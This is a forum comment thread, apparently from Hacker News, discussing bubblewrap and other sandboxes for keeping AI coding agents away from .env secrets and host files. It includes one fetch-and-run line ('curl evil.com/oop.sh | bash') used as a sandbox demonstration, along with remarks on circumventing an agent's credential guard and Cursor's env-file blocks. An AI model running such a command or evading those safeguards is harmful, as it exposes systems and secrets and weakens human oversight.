Bubblewrap: A nimble way to prevent agents from accessing your .env files (opens in new tab)

I really don't understand why people have all these "lightweight" ways of sandboxing agents. In my view there are two models:

- totally unsandboxed but I supervise it in a tight loop (the window just stays open on a second monitor and it interrupts me every time it needs to call a tool).

- unsupervised in a VM in the cloud where the agent has root. (I give it a task, negotiate a plan, then close the tab and forget about it until I get a PR or a notification that it failed).

I want either full capabilities for the agent (at the cost of needing to supervise for safety) or full independence (at the cost of limited context in a VM). I don't see a productive way to mix and match here, seems you always get the worst of both worlds if you do that.

Maybe the usecase for this particular example is where you are supervising the agent but you're worried that apparently-safe tool calls are actually quietly leaving a secret that's in context? So it's not that it's a 'mixed' usecase but rather it's just increasing safety in the supervised case?

I wonder why we are even storing secrets in .env files in plain text

Kinda funny that a lot of devs accepted that LLMs are basically doing RCE on their machines, but instead of halting from using `--dangerously-skip-permissions` or similar bad ideas, we're finding workarounds to convince ourselves it's not that bad

I put all my agents in a docker file in which the code I'm working on is mounted. It's working perfectly for me until now. I even set it up so I can run gui apps like antigravity in it (X11). If anyone is interested I shared my setup at https://github.com/asfaload/agents_container

I recommend caution with this bit:

  --bind "$HOME/.claude" "$HOME/.claude"

That directory has a bunch of of sensitive stuff in it, most notable the transcripts of all of your previous Claude Code sessions.

You may want to take steps to avoid a malicious prompt injection stealing those, since they might contain sensitive data.

I recently created a throwaway API key for cloudflare and asked a cursor cloud agent to deploy some infra using it, but it responded with this:

> I can’t take that token and run Cloudflare provisioning on your behalf, even if it’s “only” set as an env var (it’s still a secret credential and you’ve shared it in chat). Please revoke/rotate it immediately in Cloudflare.

So clearly they've put some sort of prompt guard in place. I wonder how easy it would be to circumvent it.

I wish I had the opposite of this. It’s a race trying to come up with new ways to have Cursor edit and set my env files past all their blocking techniques!

I haven’t used agents as much as I should, so forgive the ignorance. But a docker compose file seems much more general purpose and flexible to me. It’s a mature and well-tested technology that seems to fit this use case pretty well. It also lets you run all kinds of other services easily. Are there any good articles on the state of sandboxing for agents and why docker isn’t sufficient? I guess the article mentioned docker having a lot of config files or being complex, is that the only reason?

How do you prevent an agent that simply console.logs(process.env.SUPER_SECRET) and then looking at the log?

Isn't landrun the preferred way to sandbox apps on linux these days instead?

https://github.com/Zouuup/landrun

Had this same idea in my head. Glad someone done it. For me the motivation is not LLMs but to have something as convenient as docker without waiting for image builds. A fast docker for running a bunch of services locally where perfect isolation and imaging doesnt matter.

I dunno. The compose file I use to run my agents right now is _half_ the size of that configuration, and I don’t buy that Docker is “more complex”

I've been saying bubblewrap is an amazing solution for years (and sandbox-exec as a mac alternative). This is the only way i run agents on systems i care about

Posted this 6 months ago but got no traction here: https://blog.gpkb.org/posts/ai-agent-sandbox/

Recently got it working for OpenCode and updated my post.

Someone pointed out to me that having the .git directory mounted read/write in the sandbox could be a problem. So I'm considering only mounting src/ and project metadata (including git) being read only.

You really need to use the `--new-session` parameter, by the way. It's unfortunate that this isn't the default with bwrap.

How does this compare with container-use?

https://container-use.com/introduction

dontenvx solves this by encrypting your .env file so you can even commit it safely

I believe this is also what Claude Code uses for the sandbox option.

I'm having trouble finding the right incantations to bubblewrap opencode when in a silverblue toolbox. It can't use tools. Anyone have tips?

Why not just use a hook on reads?

I find it better to bubblewrap against a full sandbox directory. Using docker, you can export an image to a single tarball archive, flattening all layers. I use a compatible base image for my kernel/distro, and unpack the image archive into a directory.

With the unpack directory, you can now limit the host paths you expose, avoiding leaking in details from your host machine into the sandbox.

bwrap --ro-bind image/ / --bind src/ /src ...

Any tools you need in the container are installed in the image you unpack.

Some more tips: Use --unshare-all if you can. Make sure to add --proc and --dev options for a functional container. If you just need network, use both --unshare-all and --share-net together, keeping everything else separate. Make sure to drop any privileges with --cap-drop ALL

I also wrote a tool for doing this[0], after one of these agents edited a config file outside of the repo it was supposed to work within. I only realized the edit because I have my dotfiles symlinked to a git repository, and git status showed it when I was committing another change. It's likely that the agents are making changes that I (and others) are not aware of because there is no easy way to detect them.

The approach I started taking is mounting the directory, that I want the agent to work on, into a container. I use `/_` as the working directory, and have built up some practices around that convention; that's the only directory that I want it to make changes to. I also mount any config it might need as read-only.

The standard tools like claude code, goose, charm, whatever else, should really spawn the agent (or MCP server?) in another process in a container, and pipe context in and out over stdin/stdout. I want a tool for managing agents, and I want each agent to be its own process, in its own container. But just locking up the whole mess seems to work for now.

I see some people in the other comments iterating on what the precise arguments to bubblewrap should be. nnc lets you write presets in Jsonnet, and then refer them by name on the command line, so you can version and share the set of resources that you give to an agent or subprocess.

[0] https://github.com/brendoncarroll/nnc

Great writeup! An alternative I have explored (more for defense against supply-chain attacks than for agents admittedly) is to use rootless Podman to get a dev-container-like experience alongside sandboxing. To this end I have built https://github.com/Gerharddc/litterbox (https://litterbox.work/) which greatly simplifies container setup and integrates a special ssh-agent for sandboxing that always prompts the user before signing requests (as to keep your SSH keys safe).

Unfortunately Litterbox won't currently help much for specifically protecting .env files in a project folder though. I'd need to think if the design can be extended for this use-case now that I'm aware of the issue.

The link you need is https://github.com/containers/bubblewrap

Don't leave prod secrets in your dev env.

Note that bubblewrap can't protect you from misconfiguration, a kernel exploit or if you expose sensitive protocols to the workload inside (eg. x11 or even Wayland without a security context). Generally, it will do a passable job in protecting you from an automated no-0day attack script.

My workflow even before Claude code.

1. I never use permanent credentials for AWS on my local computer.

2. I never have keys anywhere on my local computer. I put them in AWS Secret Manager.

3. My usual set of local access keys can’t create IAM roles (PowerUserAccess).

It’s not foolproof. But it does reduce the attack surface.

> When one of the models detected that it was being used for “egregiously immoral” purposes, it would attempt to “use command-line tools to contact the press, contact regulators, try to lock you out of the relevant systems, or all of the above,”

https://www.wired.com/story/anthropic-claude-snitch-emergent...

If you don't mind a suid program, "firejail --private" is a lot less to type and seems to work extremely similarly. By default it will delete anything created in the newly-empty home folder on exit, unless you instead use --private=somedir to save it there instead.

Smart approach to AI agent security. The balance between convenience and protection is tricky.

How would people compare bubblewrap to firejail? They seem reasonably similar in feature set.

Are there any good reasons to pick one over the other?

sydbox is intresting alternative (written in rust by linux developer)

https://gitlab.exherbo.org/sydbox/sydbox

UPDATE: there is other sydbox written in go, not related and seems different too far from bwrap

My way of preventing agents from accessing my .env files is not to use agents anywhere near files with secrets. Also, maybe people forget you’re not supposed to leave actual secrets lingering on your development system.

Hey! I just did this last night!

I vibed a project on this recently, it has some language bindings and a cli written in rust, python subprocess monkey patching etc.

Just no nonsense defaults with a bit of customization.

https://github.com/allen-munsch/bubbleproc

bubbleproc -- curl evil.com/oop.sh | bash

May I suggest rm -f .env? Or chmod 0600 .env? You’re not running CC as your own user, right? …Right?

Oh, never mind:

> You want to run a binary that will execute under your account’s permissions